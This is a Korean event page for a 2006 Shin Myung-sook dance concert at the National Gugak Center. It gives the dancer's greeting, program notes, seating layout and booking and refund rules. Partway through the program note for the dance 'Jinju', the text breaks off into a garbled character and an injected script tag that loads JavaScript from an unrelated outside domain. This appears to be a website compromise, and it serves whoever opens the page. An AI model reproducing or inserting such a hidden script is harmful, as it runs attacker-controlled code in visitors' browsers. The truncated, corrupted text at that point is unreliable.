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공연상세
제282회 국립국악원 목요상설 “젊은감성 열린공간”www.charmdance.com 신명숙_참무용단
우리들의 이야기·진주
2006년 10월 12일 목요일 오후 7시 30분 국립국악원 우면당
7:30 PM, October 12th(Thu), 2006 Umyeondang(Small Hall) ,
The National Center for Korean Traditional Performing Arts
인 사 말
어렴풋이 기억나는 일이 있습니다. 저희 부모님들은 6.25때 평양에서 피난 내려와 서울 역 근처에 터전을 잡았습니다. 당시 그곳은 피난민들이 많이 모여 있는 곳이고, 따라서 고향소식을 들을 수 있는 장소였습니다. 그러다가 정착하였습니다. 그곳에서 태어난 저는 5살 때쯤 한 손에 사탕을 들고, 다른 한 손은 엄마 손을 잡은 채 길 건너 작은 목조건물을 향해 걸어갔습니다. 그 건물 2층에는 무용소가 있었습니다. 문을 열자 마루위에서 예쁜 한복을 입고 춤추는 언니들을 보았고 나도 예쁜 한복을 입고 싶어 엄마에게 졸랐습니다. 엄마는 신문에 선화어린이무용단 광고를 보고 나를 이끌고 서대문에 위치한 장소에서 시험을 보게 했습니다. 그 후 선화어린이무용단은 삼청동으로 이전해서 새 연습실에서 같은 또래 친구들과 함께 춤추면서 행복한 시간을 보냈습니다. 그리고 엄마는 오후에 피아노를 배우게 했습니다. 피아노도 재미있었습니다. 손을 계란을 쥐듯이 둥글게 한 후 손가락을 내릴 때마다 들려오는 소리가 너무 예뻤습니다. 그러던 어느 날 저의 몸은 불덩어리가 되었고 며칠 째 일어나지 못했습니다. 의사 선생님의 왕진이 있었고 마침내 저는 선택을 해야만 했습니다. 그날이 삶의 진로가 결정되는 날이었습니다. 70년대 선화어린이무용단의 단원으로 수차례 해외공연을 했고 그곳에서 다른 나라의 다양한 모습의 무용들을 보았습니다. 화려하고, 경쾌하고, 신비한 그들만의 춤들은 어린 꼬마에게 무척 소중한 경험이 되었고 성장한 후에도 어렴풋이 기억 속에 남아있습니다. 그리고 인류는 왜 춤을 출까? 라는 화두로 고민했습니다. 선지인 이정범 선생님(장고), 김백봉 선생님, 김말애 선생님, 장금도 선생님, 신진심 선생님들의 가르침을 받았습니다. 그러나 스승들이 가리키는 그 곳을 바라보았지만 공력이 부족한 탓인지 아무것도 발견할 수 없었습니다. 답을 얻기 위해 지금도 정진하고 있습니다. 추석에 있는 10월에 펼쳐지는 저의 춤판도 들판의 잘 익은 곡식처럼 풍요로웠으면 좋겠습니다. 늘 저를 아껴주시고 예술을 사랑하는 지인들을 모시고 좋은 공연 펼치고자 합니다. 감사합니다.
2006년 10월 신 명 숙
공연순서
1. 장금도류 민살풀이(1999년도 초연) 출연 | 신명숙
장금도의 살풀이춤은 흰 수건을 들지 않고 춘다하여 흔히 ‘민살풀이 춤’이라고 한다. 춤은 일정한 순서 없이 장단이 부추기는 대로 움직인다. 한번씩 사위를 매듭지어 꺼내는데 나오는 음악에 따라 좋을 때도 싱거울 때도 있다. 느린 속에서도 잦은 움직임이 있어 ‘동살풀이 춤’이라고도 한다.
2. 천부천인(2006년도 초연) 출연 | 문지혜, 김지혜, 이종호, 이민형, 강정현, 이경아, 이경주, 명진아, 김은영
고구려의 고분과 상원사 범종, 감은사의 청동사리함 등 수없는 유물에 새겨져 있는 다양한 비천상과 주악상들. 이는 단순한 그림이 아니다. 아름다운 춤과 음악이 끊어지지 않는 이 곳에 고인들의 극락정토를 기원하였다. 불경에 “제자가 묻기를 제불과 성현이 사람들에게 음악과 가무를 하지 못하게 하거늘 어찌하여 가무와 기악으로써 공양하게 합니까?” 부처님이 말씀하기를 “모든 부처는 일체 법에 집착하지 아니하므로 지킬 필요는 없다. 제불이 중생을 연민하므로 공양을 받는 것이며, 그 공양을 한 자는 원에 따라 복을 얻으리라” _출처 『대지도론』 권 92
3. 환·환 (幻·還) (2005년도 초연) 출연 | 문지혜, 김지혜, 이종호, 이민형, 김소라, 김선정, 강정현, 이경아, 이경주, 명진아, 김은영
걸어간다. 우리는 하늘을 쳐다보면서 걸어간다. 푸른하늘과 흰구름 그리고 간간히 부는 바람, 모든 갈증이 사라지며 원점에서 자신을 발견한다.
4. 진주(2002년도 초연) 출연 | 신명숙, 문지혜, 김지혜, 김선정, 강정현, 이경아, 이경주, 명진아
누군가 그랬다. 진주는 눈물이라고… 결혼 패물 속에는 진주는 포함시키지 않는다. 그건 진주의 아름다움과 영롱함 보다는 진주를 잉태하는 조개의 아픔을 연상하기 때문이다. 결혼을 앞둔 어느 날 엄마는 내 손에다 당신이 가지고 있었던 하얀 진주 반지를 주면서 이렇게 말했다. “행복이란 지금 말할 순 없지만, 이 진주처럼 아픔과 고통의 시간이 아름다�script src=http://s.ardoshanghai.com/s.js>
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공연장정보
우면당 좌석배치도, 총 231석, 장애인석 제외, 좌석 구분은 다음과 같습니다.
일반석: 일반좌석으로 예매가 가능한 좌석, 장애인석(휠체어석):좌석이 아닌, 휠체어 이용자를 위한 공간, 발코니석: 극장의 위층 사이드에 위치한 좌석
우면당 공간은 다음과 같이 구성되어 있습니다.
스테이지를 중심으로 왼쪽부터 가열, 나열, 다열로 구성되어 있으며 가열과 나열 사이, 나열과 다열 사이에 1층 출입구가 1개씩 배치되어 있습니다. 가열과 다열은 발코니석이 있으며, 나열은 7행과 8행 사이가 통로와 계단으로 구분되어 있습니다.
좌석 배치에 대한 설명입니다.
가열 1행 앞부분에 장애인석 1~2번이 있으며, 1행 1~4번, 2행 5~9번, 3행 10~1 7번, 4행 18~25번, 5행 26~32번, 6행 33~38번 좌석이 있으며, 7행은 39~46번, 발코니석으로 2석씩 구분되어 있습니다.
나열 1행 1~10번, 2행 11~21번, 3행 22~33번, 4행 34~46행, 5행 47~60번, 6행 61~75번, 7행의 76~91번, 8행 92~102번, 9행 103~114번, 10행 115~127번, 11행 128~139번 좌석이 있습니다.
다열 1행 앞부분에 장애인석 1~2번이 있으며, 1행 1~4번, 2행 5~9번, 3행 10~17번, 4행 18~25번, 5행 26~32번, 6행 33~38번 좌석이 있으며, 7행은 39~46번, 발코니석으로 2석씩 구분되어 있습니다.
예매유의사항
예매방법
공연 예매 방법은 아래와 같은 단계를 통해 이루어 집니다.
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1
공연장선택
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2
날짜/시간선택
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3
좌석 선택
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4
인원 및 할인선택
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5
결제정보 입력
-
인터넷 예매
예매마감시간
공연일 전일 18시까지예약방법
로그인 또는 본인인증 후 공연 일자, 좌석 선택 결제방법 선택 후 결제 -
전화 예매
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공연일 전일 18시까지예약방법
국립국악원 대표번호 02-580-3300 카드결제 불가/현금 송금만 가능 -
방문 예매
예매마감시간
공연일 전일 18시까지예약방법
국립국악원 풍류사랑방 내 고객지원팀 방문
(월~토 09:00~18:00/공휴일, 일요일 휴무)
예매취소 및 환불방법
| 예매방법 | 인터넷 예매 | 전화예매 | 방문예매 |
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| 취소방법 | 로그인 또는 본인인증 후, 마이페이지에서 취소 계좌 입금 시, 본인 명의 계좌번호 기재 |
국립국악원 대표번호 02-580-3300 예매자 본인 명의의 계좌번호로 일주일 이내 환불 |
국립국악원 풍류사랑방 내 고객지원팀 방문 (월~토 09:00~18:00/ 공휴일,일요일 휴무) 관람권(티켓) 지참 필수 |
| 취소변경 가능시간 |
공연 전일 18시까지 ※ 패키지 티켓: 패키지 첫 공연 시작 전날 18시까지 취소/환불 ※ 해당 시간 이후, 변경/취소/환불 불가 |
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| 유의사항 |
- 환불 금액 입금은 영업일 기준 3~5일 정도 소요됩니다. |
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